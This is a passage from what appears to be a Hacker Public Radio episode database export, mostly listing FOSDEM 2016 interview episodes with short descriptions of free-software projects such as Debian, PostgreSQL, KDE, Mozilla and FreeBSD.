                                                              • Comment 13:\nMike Ray on 2016-01-14:\n\"Rationalising languages\"
                                                              • Comment 14:\nJon Kulp on 2016-01-14:\n\"Gotta try one now\"
                                                              • Comment 15:\nDave Morriss on 2016-01-15:\n\"Language rationalisation\"
                                                              • Comment 16:\nDave Morriss on 2016-01-15:\n\"Hope you enjoy your fountain pen\"
                                                              • Comment 17:\nJon Kulp on 2016-01-15:\n\"Umm...probably not\"
                                                              • \n

                                                            • \n
                                                            • hpr1942\n(2016-01-12) \"Kobo Touch N-905 E-Reader\"\nby klaatu.\n
                                                              • Comment 1:\nJon Kulp on 2016-01-13:\n\"KOReader uses normal directories\"
                                                              • Comment 2:\nKlaatu on 2016-01-20:\n\"KOReader\"
                                                              • \n

                                                            • \n
                                                            • hpr1944\n(2016-01-14) \"sshfs - Secure SHell FileSystem\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\nMike Ray on 2016-01-14:\n\"Using sshfs to mount Pi rootfs on faster machine for cross-compiles\"
                                                              • Comment 2:\nFrank on 2016-01-15:\"[no title]\"
                                                              • Comment 3:\n0xf10e on 2016-01-16:\"[no title]\"
                                                              • Comment 4:\nKen Fallon on 2016-01-18:\n\"no multiple users\"
                                                              • Comment 5:\nKevin O'Brien on 2016-01-21:\n\"Great show\"
                                                              • \n

                                                            • \n
                                                            • hpr1946\n(2016-01-18) \"Wok Cookery\"\nby Dave Morriss.\n
                                                              • Comment 1:\nFrank on 2016-01-18:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2016-01-18:\n\"String or no string\"
                                                              • Comment 3:\nFrank on 2016-01-18:\"[no title]\"
                                                              • Comment 4:\nMark Waters on 2016-01-19:\n\"Thanks\"
                                                              • Comment 5:\nDave Morriss on 2016-01-20:\n\"Thanks Mark\"
                                                              • Comment 6:\nFrank on 2016-01-20:\"[no title]\"
                                                              • Comment 7:\nDave Morriss on 2016-01-21:\n\"Banana pepper\"
                                                              • \n

                                                            • \n
                                                            • hpr1948\n(2016-01-20) \"Check Your Spelling in Vim\"\nby Frank Bell.\n
                                                              • Comment 1:\nMr. Young on 2016-01-22:\n\"Thanks a lot\"
                                                              • Comment 2:\nFrank on 2016-01-23:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1951\n(2016-01-25) \"Some additional Bash tips\"\nby Dave Morriss.\n
                                                              • Comment 1:\nFrank on 2016-01-26:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2016-01-27:\n\"Thanks Frank\"
                                                              • \n

                                                            • \n
                                                            • hpr1952\n(2016-01-26) \"Time now Ladies and Gents\"\nby Ken Fallon.\n
                                                              • Comment 1:\nDave Morriss on 2016-01-28:\n\"Great show idea\"
                                                              • \n

                                                            • \n
                                                            • hpr1954\n(2016-01-28) \"Grandpa Shows Us How to Turn Custom Pens\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDave Morriss on 2016-01-28:\n\"Most interesting and entertaining\"
                                                              • Comment 2:\nJon Kulp on 2016-01-28:\n\"Acrylic smells\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1957,"date":"2016-02-02","title":"FOSDEM 2016 K building level 1 Group B and C","duration":7735,"summary":"CAcert DRLM Gluster oVirt OpenVZ FSFE ReactOS BAREOS Debian PostgreSQL OpenMandriva Mageia Gentoo ","notes":"

                                                            Table of Contents

                                                            \n\n\n

                                                            CAcert

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nCAcert.org is a community driven Certificate Authority that issues certificates to the public at large for free. CAcert's goal is to promote awareness and education on computer security through the use of encryption, specifically with the X.509 family of standards. We have compiled a document base (Wiki) that has helpful hints and tips on setting up encryption with common software, and general information about Public Key Infrastructures (PKI). CAcert Inc. is a non-profit association, incorporated in New South Wales, Australia.\n
                                                            \n\n

                                                            Listen to the interview with Reinhard Mutz Organisation Assurer

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            DRLM

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nDRLM (Disaster Recovery Linux Manager). DRLM is a Centralized Management Open Source solution for small-to-large Disaster Recovery implementations using ReaR. Is an easy-to-use software to manage your growing ReaR infrastructure. Is written in the bash language (like ReaR) and offers all needed tools to efficiently manage your GNU/Linux disaster recovery backups, reducing Disaster Recovery management costs. ReaR is great solution, but when we’re dealing with hundreds of systems, could be complex to manage well all ReaR deployments.\n
                                                            \nWith DRLM you can, easily and centrally, deploy and manage ReaR installations for all your GNU/Linux systems in your DataCenter(s). DRLM is able to manage all required services (TFTP, DHCP-PXE, NFS, …) with no need of manual services configuration. Only with few easy commands, the users will be able to create, modify and delete ReaR clients and networks, providing an easy way to boot and recover your GNU/Linux systems through network with ReaR. Furthermore DRLM acts as a central scheduling system for all ReaR installations. Is able to start rear backups remotely and store the rescue-boot/backup in DR images easily managed by DRLM.\n
                                                            \nYou can easily enable or disable the last or any previous backups to restore any client with a single command line. Currently DRLM supports PXE and NETFS(nfs) OUTPUT/BACKUP methods of ReaR, but the Development of DRLM non stops here, we are working on new 2.0 version with new features to improve performance, usability and more ReaR methods, in order to become, together with ReaR, the reference when talking about Disaster Recovery of GNU/Linux systems.\n
                                                            \n\n

                                                            Listen to the interview with Ruben Carbonell Perez

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Gluster

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nGlusterFS is a scalable network filesystem. Using common off-the-shelf hardware, you can create large, distributed storage solutions for media streaming, data analysis, and other data- and bandwidth-intensive tasks. GlusterFS is free and open source software.\n
                                                            \n\n

                                                            Listen to the interview with Niels de Vos, and Humble Devassy Chirammal

                                                            \n\n

                                                            \"headshot\"\n\"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            oVirt

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \noVirt manages virtual machines, storage and virtualized networks. oVirt is a virtualization platform with an easy-to-use web interface. oVirt is powered by the Open Source you know - KVM on Linux.\n
                                                            \n\n

                                                            Listen to the interview with Yaniv Kaul

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            OpenVZ

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nOpenVZ is a container-based virtualization for Linux. OpenVZ creates multiple secure, isolated Linux containers (otherwise known as VEs or VPSs) on a single physical server enabling better server utilization and ensuring that applications do not conflict. Each container performs and executes exactly like a stand-alone server; a container can be rebooted independently and have root access, users, IP addresses, memory, processes, files, applications, system libraries and configuration files.\n
                                                            \nOpenVZ is free open source software, available under GNU GPL.\n
                                                            \nOpenVZ is the basis of Virtuozzo, a virtualization solution offered by Virtuozzo company. Virtuozzo is optimized for hosters and offers hypervisor (VMs in addition to containers), distributed cloud storage, dedicated support, management tools, and easy installation.\n
                                                            \n\n

                                                            Listen to the interview with Pavel Emelyanov

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            FSFE

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nFree Software Foundation Europe is a charity that empowers users to control technology. Software is deeply involved in all aspects of our lives; and it is important that this technology empowers rather than restricts us. Free Software gives everybody the rights to use, understand, adapt and share software. These rights help support other fundamental freedoms like freedom of speech, press and privacy.\n
                                                            \n\n

                                                            Listen to the interview with Matthias Kirschner

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            ReactOS

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nReactOS® is a free open source operating system based on the best design principles found in the Windows NT® architecture (Windows versions such as Windows XP, Windows 7, Windows Server 2012 are built on Windows NT architecture). Written completely from scratch, ReactOS is not a Linux based system, and shares none of the UNIX architecture. The main goal of the ReactOS® project is to provide an operating system which is binary compatible with Windows. This will allow your Windows® applications and drivers to run as they would on your Windows system. Additionally, the look and feel of the Windows operating system is used, such that people accustomed to the familiar user interface of Windows® would find using ReactOS straightforward. The ultimate goal of ReactOS® is to allow you to use it as alternative to Windows® without the need to change software you are used to.\n
                                                            \n\n

                                                            Listen to the interview with Hermès Bélusca-Maïto

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            BAREOS - Backup Archiving Recovery Open Sourced

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nBareos is a 100% open source fork of the backup project from bacula.org. The fork is in development since late 2010, it has a lot of new features. The source has been published on github, licensed AGPLv3.\n
                                                            \n\n

                                                            Listen to the interview with Daniel Neuberger

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Debian

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system that we have created is called Debian. An operating system is the set of basic programs and utilities that make your computer run. At the core of an operating system is the kernel. The kernel is the most fundamental program on the computer and does all the basic housekeeping and lets you start other programs. Debian systems currently use the Linux kernel or the FreeBSD kernel. Linux is a piece of software started by Linus Torvalds and supported by thousands of programmers worldwide. FreeBSD is an operating system including a kernel and other software.\n
                                                            \n\n

                                                            Listen to the interview with Sebastiaan Couwenberg

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            PostgreSQL

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nPostgreSQL is a powerful, open source object-relational database system. It has more than 15 years of active development and a proven architecture that has earned it a strong reputation for reliability, data integrity, and correctness. It runs on all major operating systems, including Linux, UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is fully ACID compliant, has full support for foreign keys, joins, views, triggers, and stored procedures (in multiple languages). It includes most SQL:2008 data types, including INTEGER, NUMERIC, BOOLEAN, CHAR, VARCHAR, DATE, INTERVAL, and TIMESTAMP. It also supports storage of binary large objects, including pictures, sounds, or video. It has native programming interfaces for C/C++, Java, .Net, Perl, Python, Ruby, Tcl, ODBC, among others, and exceptional documentation.\n
                                                            \n\n

                                                            Listen to the interview with Christoph Berg

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            OpenMandriva

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \n

                                                            We are a 100% community-driven association that believes in the values of free software & collaboration. We fight to protect these values and promote solutions anyone can use, change and distribute. OpenMandriva believes in creating, improving, promoting and distributing free software in general, and its projects in particular. We also crave for promoting free exchange of knowledge and equality of opportunity in software access and development, as well as in education, science and research. Our products are developed with passion by the community and aim to be flexible in use by all.

                                                            \n\n

                                                            OpenMandriva represents the paradigm: from community to community, with passion, fun and dedication.

                                                            \n\n
                                                            \n\n

                                                            Listen to the interview with Colin Close, President OpenMandriva

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Mageia

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nMageia is a GNU/Linux-based, Free Software operating system. It is a community project, supported by a nonprofit organisation of elected contributors. Our mission: to build great tools for people.\n
                                                            \n\n

                                                            Listen to the interview with Chris Denice (eatdirt)

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Gentoo

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nGentoo is a free operating system based on either Linux or FreeBSD that can be automatically optimized and customized for just about any application or need. \nExtreme configurability, performance and a top-notch user and developer community are all hallmarks of the Gentoo experience.\n
                                                            \nThanks to a technology called Portage, Gentoo can become an ideal secure server, development workstation, professional desktop, gaming system, embedded solution or something else—whatever you need it to be. Because of its near-unlimited adaptability, we call Gentoo a metadistribution.\n
                                                            \nOf course, Gentoo is more than just the software it provides. It is a community built around a distribution which is driven by more than 300 developers and thousands of users. The distribution project provides the means for the users to enjoy Gentoo: documentation, infrastructure, release engineering, software porting, quality assurance, security followup, hardening and more.\n
                                                            \nTo advise on and help with Gentoo's global development, a 7-member council is elected on a yearly basis which decides on global issues, policies and advancements in the Gentoo project.\n
                                                            \n\n

                                                            Listen to the interview with Kristian Fiskerstrand

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM, CAcert, DRLM, Gluster, oVirt, OpenVZ, FSFE, ReactOS, BAREOS, Debian, PostgreSQL, OpenMandriva, Mageia, Gentoo","version":0,"downloads":0,"valid":1}, {"id":1958,"date":"2016-02-03","title":"FOSDEM 2016 K building level 1 Group A","duration":6665,"summary":"Fedora, OpenSuse, illumos, ownCloud, Enlightenment, Tizen, Kolab, KDE, LibreOffice","notes":"

                                                            Table of Contents

                                                            \n\n\n

                                                            Fedora

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Fedora Project is a partnership of free software community members from around the globe. The Fedora Project builds open source software communities and produces a Linux distribution called \"Fedora.\" The Fedora Project's mission is to lead the advancement of free and open source software and content as a collaborative community.\n
                                                            \n\n

                                                            Listen to the interview with Jiří Eischmann

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            OpenSuse

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \n\nopenSUSE, formerly openSUSE Leap 42.1 and openSUSE Tumbleweed, is a international Linux project with different distributions sponsored by SUSE Linux GmbH and other companies. It is widely used throughout the world, particularly in Germany. The focus of its development is creating usable open-source tools for software developers and system administrators, while providing user-friendly desktops, and a feature-rich server environment.\n
                                                            \n\n

                                                            Listen to the interview with Sarah Julia Kriesch

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            illumos

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThis is the home of the illumos project, the open source fork of Sun's OpenSolaris. Launched in 2010, the project enjoys financial and technical support from several key companies which rely on the illumos kernel as the technological foundation for their own products, as well as the backing of a growing developer community.\n
                                                            \n\n

                                                            Listen to the interview with Dan McDonald

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            ownCloud

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nAccess, Sync and Share your data, under your control! ownCloud provides access to your data through a web interface or WebDAV while providing a platform to view, sync and share across devices easily, all under your control. ownCloud's open architecture is extensible via a simple but powerful API for applications and plugins and works with any storage.\n
                                                            \n\n

                                                            Listen to the interview with Jos Poortvliet, Community Manager/ Chief Geek Herder at ownCloud

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Enlightenment

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe original reason Enlightenment exists - The Window Manager. From here everything else spawned. This is really the flagship product, closely followed by EFL itself. The window manager is a lean, fast, modular and very extensible window manager for X11 and Linux. It is classed as a “desktop shell” providing the things you need to operate your desktop (or laptop), but is not a whole application suite. This covers launching applications, managing their windows and doing other system tasks like suspending, reboots, managing files etc.\n
                                                            \nWe are moving towards Wayland as the base display system where Enlightenment is being worked on to become a full Wayland compositor on its own. This of course takes time and has its rough edges along the way, but we are not standing still, and one day will leave X11 behind.\n
                                                            \nOf course Enlightenment is built on top of EFL, using the libraries we wrote for it to do its UI as well as to run the entire compositor itself. This means that any improvements to EFL turn up in the compositor as well.\n
                                                            \nEnlightenment also is the Window Manager and Compositor for Tizen due in part to its efficiency and feature-set.\n
                                                            \n\n

                                                            Listen to the interview with Philippe Caseiro

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Tizen

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nTizen is an open and flexible operating system built from the ground up to address the needs of all stakeholders of the mobile and connected device ecosystem, including device manufacturers, mobile operators, application developers and independent software vendors (ISVs). Tizen is developed by a community of developers, under open source governance, and is open to all members who wish to participate.\n
                                                            \n\n

                                                            Listen to the interview with Pawel Wieczorek

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Kolab

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Kolab Groupware Solution offers Personal Information Management for deployments of any size. It runs on a Rasberry Pi and in clouds spread over multiple data centres. Kolab provides a secure, scalable and reliable collaboration server. Since it is Free Software, it is not only used by large companies and organisation, but also by many individuals who care about being in control of their personal information.\n
                                                            \n\n
                                                            \nKolab is a free and open source groupware suite. It consists of the Kolab server and a wide variety of Kolab clients, including KDE PIM-Suite Kontact, Horde Webfrontend, Mozilla Thunderbird and Mozilla Lightning with SyncKolab extension and Microsoft Outlook with proprietary Kolab-Connector PlugIns.\n
                                                            \n\n

                                                            Listen to the interview with Aaron Seigo

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            KDE

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe KDE Community is an international technology team dedicated to creating a free and user-friendly computing experience, offering an advanced graphical desktop, a wide variety of applications for communication, work, education and entertainment and a platform to easily build new applications upon. We have a strong focus on finding innovative solutions to old and new problems, creating a vibrant atmosphere open for experimentation.\n
                                                            \n\n

                                                            Listen to the interview with Jonathan Riddell

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            LibreOffice

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nLibreOffice is the most widely used free open source office software. It is a community-driven project of The Document Foundation. LibreOffice is developed by professionals and by users, just like you, who believe in the principles of free software and in sharing their work with the world in a non-restrictive way. At the core of these principles is the promise of better-quality, highly-reliable and secure software that gives you greater flexibility at zero cost and no end-user lock-in. LibreOffice works natively with the Open Document Format, but also brings you support for by far the most file types for office-documents. It comes with support for over 80 languages and with a whole amount of other unique features to work with your texts, spreadsheets, presentations, drawings and data.\n
                                                            \n\n

                                                            Listen to the interview with Italo Vignoli, Director Marketing and Communications

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM, Fedora, OpenSuse, illumos, ownCloud, Enlightenment, Tizen, Kolab, KDE, LibreOffice","version":0,"downloads":0,"valid":1}, {"id":1959,"date":"2016-02-04","title":"FOSDEM 2016 K building level 2","duration":6241,"summary":"Mozilla,Apache,Jenkins,x doku tiki and MediaWiki,LFS,Perl,Barghest,Coala,Google SOC,Ultimaker","notes":"

                                                            Table of Contents

                                                            \n\n\n

                                                            Mozilla

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nAt Mozilla, we’re a global community of technologists, thinkers and builders working together to keep the Internet alive and accessible, so people worldwide can be informed contributors and creators of the Web. We believe this act of human collaboration across an open platform is essential to individual growth and our collective future.\n
                                                            \n\n
                                                            \nMozilla is a free-software community, created in 1998 by members of Netscape. The Mozilla community uses, develops, spreads and supports Mozilla products, thereby promoting exclusively free software and open standards, with only minor exceptions. The community is supported institutionally by the Mozilla Foundation and its tax-paying subsidiary, the Mozilla Corporation.\n
                                                            \nMozilla produces many products such as the Firefox web browser, Thunderbird e-mail client, Firefox Mobile web browser, Firefox OS mobile operating system, Bugzilla bug tracking system and other projects.\n
                                                            \n\n

                                                            Listen to the interview with Francisco Picolini, Community Events Manager

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Apache Software Foundation

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe mission of the Apache Software Foundation (ASF) is to provide software for the public good. We do this by providing services and support for many like-minded software project communities of individuals who choose to join the ASF.\n
                                                            \n\n

                                                            Listen to the interview with Lars Eilebrecht

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Jenkins

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nIn a nutshell, Jenkins is the leading open source automation server. Built with Java, it provides hundreds of plugins to support building, testing, deploying and automation for virtually any project. \n
                                                            \nJenkins is an award-winning, cross-platform, continuous integration and continuous delivery application that increases your productivity. Use Jenkins to build and test your software projects continuously making it easier for developers to integrate changes to the project, and making it easier for users to obtain a fresh build. It also allows you to continuously deliver your software by providing powerful ways to define your build pipelines and integrating with a large number of testing and deployment technologies.\n
                                                            \n\n

                                                            Listen to the interview with Kohsuke Kawaguchi

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            XWiki

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nXWiki Enterprise is a professional wiki with enterprise features such as Blog, strong rights management, LDAP authentication, PDF export, full skining and more. It also includes an advanced Form and scripting engine making it a development environment for data-based applications. It has powerful extensibility features such as scripting in pages, plugins and a highly modular architecture.\n
                                                            \nSee the full feature list for more: https://enterprise.xwiki.org/xwiki/bin/view/Main/Features.\n
                                                            \n\n

                                                            Listen to the interview with Anca Luca

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            DokuWiki

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nDokuWiki is a simple to use and highly versatile Open Source wiki software that doesn't require a database. It is loved by users for its clean and readable syntax. The ease of maintenance, backup and integration makes it an administrator's favorite. Built in access controls and authentication connectors make DokuWiki especially useful in the enterprise context and the large number of plugins contributed by its vibrant community allow for a broad range of use cases beyond a traditional wiki.\n
                                                            \n\n

                                                            Listen to the interview with Michael Hamann

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Tiki

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nTiki is the Free / Libre / Open Source Web Application Platform with the most built-in features. Whatever feature you can imagine running in a browser window, chances are Tiki does it.\n
                                                            \n\n
                                                            \nTiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite written primarily in PHP and distributed under the GNU Lesser General Public License (LGPL) license. In addition to enabling websites and portals on the internet and on intranets and extranets, Tiki contains a number of collaboration features allowing it to operate as a Geospatial Content Management System (GeoCMS) and Groupware web application.\n
                                                            \n\n\n\n

                                                            Listen to the interview with Jean-Marc Libs

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            MediaWiki

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Wikimedia Foundation, Inc. is a nonprofit charitable organization dedicated to encouraging the growth, development and distribution of free, multilingual, educational content, and to providing the full content of these wiki-based projects to the public free of charge. The Wikimedia Foundation operates some of the largest collaboratively edited reference projects in the world, including Wikipedia, a top-ten internet property.\n
                                                            \n\n

                                                            Listen to the interview with Marius Hoch

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Linux from scratch

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nLinux From Scratch (LFS) is a type of a Linux installation and the name of a book written by Gerard Beekmans, among others. The book gives readers instructions on how to build a Linux system from source. The book is available freely from the Linux From Scratch site and is currently in version 7.8.\n
                                                            \nLinux From Scratch is a way to install a working Linux system by building all components of it manually. This is, naturally, a longer process than installing a pre-compiled Linux distribution. According to the Linux From Scratch site, the advantages to this method are a compact, flexible and secure system and a greater understanding of the internal workings of the Linux-based operating systems.\n
                                                            \n\n

                                                            Listen to the interview with Jean-Philippe Mengual

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Perl

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nPowerful, stable, mature, portable\n
                                                            \nPerl 5 is a highly capable, feature-rich programming language with over 27 years of development. Perl 5 runs on over 100 platforms from portables to mainframes and is suitable for both rapid prototyping and large scale development projects.\n
                                                            \n\"Perl\" is a family of languages, \"Perl 6\" is part of the family, but it is a separate language which has its own development team. Its existence has no significant impact on the continuing development of \"Perl 5\".\n
                                                            \n\n

                                                            Listen to the interview with Wendy G.A. van Dijk, Mark \"shadowcat\" Keating, and Curtis \"Ovid\" Poe

                                                            \n\n

                                                            \"headshot\"\n\"headshot\"\n\"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Barghest

                                                            \n\n

                                                            Listen to the interview with Jean-Baptiste Laurent and Kevin Gruber

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Coala

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nA Language Independent Code Analysis Application. coala is an application that makes it very easy, writing analysis for any programming language or even arbitrary textual data. It is a useful abstraction that provides a convenient user interface and takes away a lot of common tasks from the algorithm developer, effectively making bare research available for production use.\n
                                                            \n\n

                                                            Listen to the interview with Lasse Schuirmann

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Google Summer of Code

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe Google Summer of Code (GSoC) is an international annual program, first held from May to August 2005, in which Google awards stipends (of US$5,500, as of 2015) to all students who successfully complete a requested free and open-source software coding project during the summer. The program is open to students aged 18 or over – the closely related Google Code-In is intended for students under the age of 18.\n
                                                            \n\n

                                                            Listen to the interview with Mary Radomile

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Ultimaker

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nWe wanted everyone to be able to enjoy the experience of making. Whether it was a cat dressed as an astronaut or a mechanical masterpiece. We set it as our goal to enable you to make those things. So we built a pioneering device that everyone could use and enjoy. We made it open source so everyone really could pitch in. And we started to grow.\n
                                                            \n\n

                                                            Listen to the interview with Olliver Schinagl

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM, Mozilla, Apache, Jenkins, xwiki, dokuwiki, tikiwiki, MediaWiki, Linux from scratch, Perl, Barghest, Coala, Google Summer of Code, Ultimaker","version":0,"downloads":0,"valid":1}, {"id":1960,"date":"2016-02-05","title":"FOSDEM 2016 AW Building and more","duration":6952,"summary":"FreeBSD,Matrix,Brainduino,Butterknife,pyhurdy,Coreboot,OpenEmbedded, PicoTCP,PTXdist,JavaCardPro","notes":"

                                                            Table of Contents

                                                            \n\n\n

                                                            FreeBSD Foundation

                                                            \n\n\n

                                                            \"Logo\"

                                                            \n
                                                            \nThe FreeBSD Foundation is a 501(c)(3), US based, non-profit organization dedicated to supporting and building the FreeBSD Project and community worldwide. The Foundation gratefully accepts donations from individuals and businesses, using them to fund and manage projects, sponsor FreeBSD events, Developer Summits and provide travel grants to FreeBSD developers.\n
                                                            \nIn addition, the Foundation represents the FreeBSD Project in executing contracts, license agreements, copyrights, trademarks, and other legal arrangements which require a recognized legal entity. The FreeBSD Foundation is entirely supported by donations.\n
                                                            \nThe FreeBSD Foundation will support both the development and the popularization of FreeBSD, the world's best open source operating system.\n
                                                            \n\n

                                                            Listen to the interview with Ed Maste, Director of Project Development

                                                            \n\n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Matrix

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nMatrix is an open standard for decentralised persistent communication over IP. It provides simple HTTP APIs and open source reference implementations for securely distributing and persisting JSON over an open federation of servers. Matrix can be used for decentralised group chat, WebRTC signaling, Internet of Things data transfer, and anywhere you need a common data fabric to link together fragmented silos of communication. Our focus is on simplicity and security.\n
                                                            \n\n

                                                            Listen to the interview with Oddvar Lovaas

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Brainduino Open Source Brain Computer Interface

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nIn the recent years, affordable Brain-Computer Interfaces are becoming more accessible for consumers. Applications range from controlling computers / machines, biofeedback and Quantified Self. At first sight, the current generation of commercial devices seem to be decent in their functionality, and various use cases are suggested. However, neurophysiological signal quality, as well as limitations of software and hardware hackability are among the greatest issues and hurdles towards advancement in user experience. This is why we started to work on Brain-Duino, an open-source brainwave amplifier shield for the Arduino and other microcontrollers. Brain-Duino is a high quality, low noise and affordable EEG / BCI for hackers, makers, researchers, artists and other enthusiasts. \n
                                                            \n\n

                                                            Listen to the interview with Konrad Willi Döring

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Butterknife

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nButterknife is the last missing piece of the puzzle that makes Linux-based desktop OS deployment a breeze. Butterknife complements your Puppet or Salt infrastructure and reduces the time you spend setting up Linux-based desktop machines. Lauri developed Butterknife as part of his MSc thesis at KTH while preparing for deployment of 4000+ dual-boot desktops and laptops of Tallinn Education Board. Butterknife is released under MIT license, feel free to share and improve.\n
                                                            \n\n

                                                            Listen to the interview with Lauri Võsandi

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            pyhurdy meta-hurdy yocto project open embedded

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nEine Kliene Eingebettete Musik\n
                                                            \n(A little embedded music)\n
                                                            \nReplicating 12th Century Musical Instruments Using Embedded Linux\n
                                                            \n\n

                                                            Listen to the interview with Beth 'pidge' Flanagan

